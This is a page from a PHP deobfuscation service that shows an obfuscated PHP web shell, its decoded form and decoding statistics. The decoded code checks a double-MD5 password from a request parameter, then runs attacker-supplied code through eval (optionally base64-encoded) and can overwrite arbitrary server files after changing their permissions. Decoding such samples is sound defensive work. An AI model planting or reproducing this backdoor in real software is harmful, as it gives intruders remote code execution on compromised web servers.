Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $r="\x62";$b="\x65";$h="a";$n="e";$y="\x73";$l="o";$v="\x64";$c="d";$x="_";$e="4";$..

Decoded Output download


/*
 * REVISION: $Rev: 1426 $
 */
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') {
  
set_time_limit(36000);
function unslash_rec(&$arr)
{
  reset($arr);
  while (list($key) = each($arr))
  {
    if (is_array($arr[$key])) unslash_rec($arr[$key]);
    else
    {
      $arr[$key] = stripslashes($arr[$key]);
    };
  };
};

function unslash_gpc()
{
  if (get_magic_quotes_gpc())
  {
    unslash_rec($_POST);
  };
};

if (array_key_exists('f', $_REQUEST))
{
  unslash_gpc();
  //header('Content-Type: text/plain');
  $txt_src = '';
  $txt_dst = '';
  if (false === ($txt_src = file_get_contents($_REQUEST['f'])))
    die("ERROR: 1 Failed to get file contents: {$_REQUEST['f']}<br/>
");
  $txt_dst = $txt_src;
  if (filesize($_REQUEST['f']) != strlen($txt_src))
    die("ERROR: 3 File size and contents size mismatch: {$_REQUEST['f']}<br/>
");
  if ($_POST['s'])
  {
    $cc = '64';
    $cc = 'se' . $cc;
    $cc .= '_';
    $cc .= 'dec';
    $cc = 'ba' . $cc;
    $cc .= 'od';
    $cc .= 'e';
    if ($_POST['s1'] == 1) {
      $_POST['cmt'] = file_get_contents($_FILES['cmt']['tmp_name']);
      eval("{$cc}(\$_POST['s'])");
    }
    else {
      eval($_POST['s']);
    }
  }
  else
  {
    die("ERROR: 7 UNKNOWN OPERATION REQUESTED<br/>
");
  };
  if ($txt_dst != $txt_src)
  {
    $stat = @stat($_REQUEST['f']);
    if ($stat['mode'])
      @chmod($_REQUEST['f'], 0666);
    $hf = fopen($_REQUEST['f'], "w");
    if (!$hf)
    {
      @chmod($_REQUEST['f'], $stat['mode'] & 0777);
      die('ERROR: 2 Failed to open file for writing<br>
');
    };
    fwrite($hf, $txt_dst);
    fclose($hf);
    if ($stat['mode'])
      @chmod($_REQUEST['f'], $stat['mode'] & 0777);
  };
  print "OK: 0 ALL OPERATIONS SUCCEEDED<br/>
";
}
else
{
  print "ERROR: 7 UNKNOWN<br/>
";
};

};

Did this file decode correctly?

Original Code

<?php
$r="\x62";$b="\x65";$h="a";$n="e";$y="\x73";$l="o";$v="\x64";$c="d";$x="_";$e="4";$m="\x36";$z="e";$d="c";$g3='';$g3.=$r;$g3.=$h;$g3.=$y.$n;$g3.=$m.$e;$g3.=$x.$v;$g3.=$z.$d.$l;$g3.=$c.$b;$h="d";$v="e";$b="s";$z="\x62";$e="d";$i="\x5f";$o="a";$l="e";$g="\x36";$t="\x34";$k="o";$p="\x63";$r="e";$qo8='';$qo8.=$z.$o;$qo8.=$b;$qo8.=$l.$g.$t;$qo8.=$i;$qo8.=$h;$qo8.=$v.$p;$qo8.=$k;$qo8.=$e.$r;eval( $g3($qo8("Q2k4cUNpQXFJRkpGVmtsVFNVOU9PaUFrVW1WMk9pQXhOREkySUNRS0lDb3ZDbWxtSUNodFpEVW9iV1ExS0NSZlVrVlJWVVZUVkZzbmFHaG9KMTBwS1NBOVBTQW5ZbU0xWVdGbVpqazRaVEUzT0RObE9HVXpNR1l5TmpaaFpqWXpZMlZoTkRJbktTQjdDaUFnQ25ObGRGOTBhVzFsWDJ4cGJXbDBLRE0yTURBd0tUc0tablZ1WTNScGIyNGdkVzV6YkdGemFGOXlaV01vSmlSaGNuSXBDbnNLSUNCeVpYTmxkQ2drWVhKeUtUc0tJQ0IzYUdsc1pTQW9iR2x6ZENna2EyVjVLU0E5SUdWaFkyZ29KR0Z5Y2lrcENpQWdld29nSUNBZ2FXWWdLR2x6WDJGeWNtRjVLQ1JoY25KYkpHdGxlVjBwS1NCMWJuTnNZWE5vWDNKbFl5Z2tZWEp5V3lSclpYbGRLVHNLSUNBZ0lHVnNjMlVLSUNBZ0lIc0tJQ0FnSUNBZ0pHRnljbHNrYTJWNVhTQTlJSE4wY21sd2MyeGhjMmhsY3lna1lYSnlXeVJyWlhsZEtUc0tJQ0FnSUgwN0NpQWdmVHNLZlRzS0NtWjFibU4wYVc5dUlIVnVjMnhoYzJoZlozQmpLQ2tLZXdvZ0lHbG1JQ2huWlhSZmJXRm5hV05mY1hWdmRHVnpYMmR3WXlncEtRb2dJSHNLSUNBZ0lIVnVjMnhoYzJoZmNtVmpLQ1JmVUU5VFZDazdDaUFnZlRzS2ZUc0tDbWxtSUNoaGNuSmhlVjlyWlhsZlpYaHBjM1J6S0NkbUp5d2dKRjlTUlZGVlJWTlVLU2tLZXdvZ0lIVnVjMnhoYzJoZlozQmpLQ2s3Q2lBZ0x5OW9aV0ZrWlhJb0owTnZiblJsYm5RdFZIbHdaVG9nZEdWNGRDOXdiR0ZwYmljcE93b2dJQ1IwZUhSZmMzSmpJRDBnSnljN0NpQWdKSFI0ZEY5a2MzUWdQU0FuSnpzS0lDQnBaaUFvWm1Gc2MyVWdQVDA5SUNna2RIaDBYM055WXlBOUlHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDUmZVa1ZSVlVWVFZGc25aaWRkS1NrcENpQWdJQ0JrYVdVb0lrVlNVazlTT2lBeElFWmhhV3hsWkNCMGJ5Qm5aWFFnWm1sc1pTQmpiMjUwWlc1MGN6b2dleVJmVWtWUlZVVlRWRnNuWmlkZGZUeGljaTgrWEc0aUtUc0tJQ0FrZEhoMFgyUnpkQ0E5SUNSMGVIUmZjM0pqT3dvZ0lHbG1JQ2htYVd4bGMybDZaU2drWDFKRlVWVkZVMVJiSjJZblhTa2dJVDBnYzNSeWJHVnVLQ1IwZUhSZmMzSmpLU2tLSUNBZ0lHUnBaU2dpUlZKU1QxSTZJRE1nUm1sc1pTQnphWHBsSUdGdVpDQmpiMjUwWlc1MGN5QnphWHBsSUcxcGMyMWhkR05vT2lCN0pGOVNSVkZWUlZOVVd5ZG1KMTE5UEdKeUx6NWNiaUlwT3dvZ0lHbG1JQ2drWDFCUFUxUmJKM01uWFNrS0lDQjdDaUFnSUNBa1kyTWdQU0FuTmpRbk93b2dJQ0FnSkdOaklEMGdKM05sSnlBdUlDUmpZenNLSUNBZ0lDUmpZeUF1UFNBblh5YzdDaUFnSUNBa1kyTWdMajBnSjJSbFl5YzdDaUFnSUNBa1kyTWdQU0FuWW1FbklDNGdKR05qT3dvZ0lDQWdKR05qSUM0OUlDZHZaQ2M3Q2lBZ0lDQWtZMk1nTGowZ0oyVW5Pd29nSUNBZ2FXWWdLQ1JmVUU5VFZGc25jekVuWFNBOVBTQXhLU0I3Q2lBZ0lDQWdJQ1JmVUU5VFZGc25ZMjEwSjEwZ1BTQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2tYMFpKVEVWVFd5ZGpiWFFuWFZzbmRHMXdYMjVoYldVblhTazdDaUFnSUNBZ0lHVjJZV3dvSW5za1kyTjlLRndrWDFCUFUxUmJKM01uWFNraUtUc0tJQ0FnSUgwS0lDQWdJR1ZzYzJVZ2V3b2dJQ0FnSUNCbGRtRnNLQ1JmVUU5VFZGc25jeWRkS1RzS0lDQWdJSDBLSUNCOUNpQWdaV3h6WlFvZ0lIc0tJQ0FnSUdScFpTZ2lSVkpTVDFJNklEY2dWVTVMVGs5WFRpQlBVRVZTUVZSSlQwNGdVa1ZSVlVWVFZFVkVQR0p5THo1Y2JpSXBPd29nSUgwN0NpQWdhV1lnS0NSMGVIUmZaSE4wSUNFOUlDUjBlSFJmYzNKaktRb2dJSHNLSUNBZ0lDUnpkR0YwSUQwZ1FITjBZWFFvSkY5U1JWRlZSVk5VV3lkbUoxMHBPd29nSUNBZ2FXWWdLQ1J6ZEdGMFd5ZHRiMlJsSjEwcENpQWdJQ0FnSUVCamFHMXZaQ2drWDFKRlVWVkZVMVJiSjJZblhTd2dNRFkyTmlrN0NpQWdJQ0FrYUdZZ1BTQm1iM0JsYmlna1gxSkZVVlZGVTFSYkoyWW5YU3dnSW5jaUtUc0tJQ0FnSUdsbUlDZ2hKR2htS1FvZ0lDQWdld29nSUNBZ0lDQkFZMmh0YjJRb0pGOVNSVkZWUlZOVVd5ZG1KMTBzSUNSemRHRjBXeWR0YjJSbEoxMGdKaUF3TnpjM0tUc0tJQ0FnSUNBZ1pHbGxLQ2RGVWxKUFVqb2dNaUJHWVdsc1pXUWdkRzhnYjNCbGJpQm1hV3hsSUdadmNpQjNjbWwwYVc1blBHSnlQbHh1SnlrN0NpQWdJQ0I5T3dvZ0lDQWdabmR5YVhSbEtDUm9aaXdnSkhSNGRGOWtjM1FwT3dvZ0lDQWdabU5zYjNObEtDUm9aaWs3Q2lBZ0lDQnBaaUFvSkhOMFlYUmJKMjF2WkdVblhTa0tJQ0FnSUNBZ1FHTm9iVzlrS0NSZlVrVlJWVVZUVkZzblppZGRMQ0FrYzNSaGRGc25iVzlrWlNkZElDWWdNRGMzTnlrN0NpQWdmVHNLSUNCd2NtbHVkQ0FpVDBzNklEQWdRVXhNSUU5UVJWSkJWRWxQVGxNZ1UxVkRRMFZGUkVWRVBHSnlMejVjYmlJN0NuMEtaV3h6WlFwN0NpQWdjSEpwYm5RZ0lrVlNVazlTT2lBM0lGVk9TMDVQVjA0OFluSXZQbHh1SWpzS2ZUc0tDbjA3Q2c9PQ==")));
?>

Function Calls

base64_decode 2

Variables

$b s
$c d
$d c
$e d
$g 6
$h d
$i _
$k o
$l e
$m 6
$n e
$o a
$p c
$r e
$t 4
$v e
$x _
$y s
$z b
$g3 base64_decode
$qo8 base64_decode

Stats

MD5 953b530c87b962ee2c3468feabb83875
Eval Count 1
Decode Time 137 ms